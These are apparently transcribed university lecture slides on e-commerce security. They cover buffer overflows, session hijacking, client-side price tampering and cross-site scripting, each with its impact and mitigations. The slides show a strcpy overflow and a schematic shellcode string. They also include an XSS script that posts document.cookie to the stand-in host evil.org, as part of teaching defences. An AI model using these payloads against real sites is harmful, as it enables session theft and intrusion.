cse 190: internet e-commerce lecture 15: security
Post on 22-Dec-2015
216 Views
Preview:
TRANSCRIPT
Security: Three Focuses
• Prevention– Most common approach
• Detection– Beyond Intrusion Detection Systems (IDS) –
what is application responsibility
• Recovery– Often neglected
• Reference: “Secrets & Lies” by Schneir
Security Posture of ane-Commerce Infrastructure
Firewall
Server
Application
O/S
Physical Perimeter
Data
Video
Attack: Buffer Overflow
• Based on boundary checking failurefoo(char *s) {
char buf[42];
// ...
strcpy(buf, s);
// ...
}
• What if strlen(s) > 42 ?
Executing Code
• Basic Principle– Place code in buffer– Overwrite return address to point to code
• Shell code– Often: execve(“/bin/sh”, args)
• NOP sled
Shell Code (cont)
9090...9090 EBAF...68 FFFF...DE FFFF01DE FFFF01DE
SP
buf RET s
s = “\x90\x90...\x90” /* NOP sled */ “\xeb.../bin/sh” /* shellcode */ “\xff\xff\x01\xde...\xff\xff\x01\xde”
/* return addr */;
Buffer Overflow: Impact
• Execute arbitrary code with privileges of vulnerable process
• Often remotely exploitable
• Examples:– Code Red (Microsoft IIS Indexing DLL)– Oracle 8i TNS Listener – Netscape Enterprise Content Negotiation
Buffer Overflow Mitigation
• Coding Standards– strncpy() instead of strcpy(), etc…– Completeness?
• Code audits– Manual/Automated
• Robust/Automated Memory Management– String classes– Java, Perl etc
• Testing– Coverage?– Correctness through testing harder than development
Attack: Hijacking Sessions
• Insufficient Entropy (Randomness) in session Ids
Client 1
Cookie: sess=TWGYLZIAAACVDQ3UUSZQV2I
Client 2 Cookie: sess=TWGY0WYAAACVFQ3UUSZQV2I
E.g., IBM Websphere 3.x
Session Hijacking: Impact
• Brute-force search for valid session Ids– Web server as oracle
• Full, unauthorized control over user session– Information disclosure– Online theft– Pretexting
Session Hijacking: Mitigation
• Generate Session IDs using cryptographically strong PRNG
• `Good’ source of entropy– E.g. /dev/urandom
• Cryptographic verification– E.g. HMAC-SHA1
• App-level IDS– Alert on multiple, invalid session IDs
Client State Perturbation
Merchant.com
Confirm Purchase
DVD XYZQuantity: 2Price: 23.45Total: 46.90
OK
<FORM METHOD=POST ACTION=https://merchant.com/buy.cgi> . . . <INPUT TYPE=HIDDEN NAME=TOTAL VALUE=46.90>
<INPUT TYPE=SUBMIT VALUE=‘ OK ‘></FORM>
Client State Perturbation: Impact
• Fraud (previous example)
• Unauthorized Access to Informationhttps://url.com/show_account.cgi?cust_id=29352
• Unauthorized Modification of Data
Client State Perturbation: Mitigation
• Do not trust any values received from client (URL params, forms, cookies)– Cross-validate against known session state– Cryptographically verify arguments (MAC)
• Minimize state maintained in client– Server-side session object– Stateless UI Flows
Attack: Cross-Site Scripting
Merchant.comProduct Search
Submit
xyz Merchant.comSearch results forquery `xyz’:
DVD XYZ
...
<P>Search results for query`xyz’<P><HR>
...
Cross-Site Scripting (cont)
Merchant.comProduct Search
Submit
<SCRI Merchant.comSearch results forquery `’:
Nothing found
...
<P>Search results for query`<SCRIPT> alert(“boo!”);</SCRIPT>’<P><HR>Nothing found
...
boo!
Ok
Cross-Site Scripting:Malicious Script
<form name=snagaction=http://evil.org/
snag_it.cgi method=post>
<input type=hiddenname=it>
</form>
<script> document.snag.it= document.cookie; document.snag.submit();
</script>
• Script discloses cookie to evil.org
• JavaScript security model:– Same Origin policy– Script can only access
properties of objects form its own domain of origin
• Execute script with origin “merchant.com”?
Cross-Site Scripting: Injecting Malicious Script
http://evil.org/evil.html
<form name=f action= http://www.merchant.com/ search.cgi method=post>
<input type=text name=query value=“<form name=snag ...”><input type=submit ...></form>
<script> document.f.submit();</script>
• Arrange for target to view page containing<iframe src=.../evil.html>
– Any page under evil.org’s control
– HTML email
• Form POST to merchant.com
• Form POST of cookie to evil.org
Cross-Site Scripting:Impact
• Unauthorized disclosure of user information
• Unauthorized gaining of control over use sessions– Theft– Etc…
Cross-Site Scripting: Mitigation
• Escape user input before rendering in-line with HTML:<P>Search results for query`<SCRIPT>
• Challenges– Input processing: Verbatim processing of
inputs– Output processing: Coverage
Architectural Considerations:Dealing with the Unknown
• Defense in Depth
• Trust Relationships
• Compartmentalization
• Encryption
• Passive Defense vs. Active Response
Multi-Tiered Architecture
Firewall Web Server
DB
Application ServerFirewall Firewall
IDSIDS IDSIDS
Tight filtering policies between networks
Effective against unknown vulnerabilities with “execute code on server” impact
Host/Network IDS: Response Capability
Security: DMZ
• DMZ: Demilitarized Zone– Servers designated less secure; not related to terrorism!
• Use two firewalls to create a DMZ; database behind 2nd
Trust Relationships/ Compartmentalization
• Minimize assumptions/trust between architectural tiers/software layers– Multiple layers of validation– Independent authentication/authorization
• E.g. Granular DB-level access control– Views– Stored procedures
• Mitigation of input validation errors
Encryption
• Protection of data in transit/persistent store– 3DES, AES, RSA– SSL
• Data protection in partially compromised system
• Insider Threat– Separation of duties (DBA vs. Key Mgmt)
Encryption
• Secure Sockets Layer (SSL)• Encrypts just before converting HTTP content
into TCP/IP packets for Internet transmission.• HTTPS: denotes secure servers. Default port is
443 (as opposed to 80 of HTTP servers). Both can run on same machine.
• Client and server exchange session-long encryption keys, and also server authenticates via certificate
top related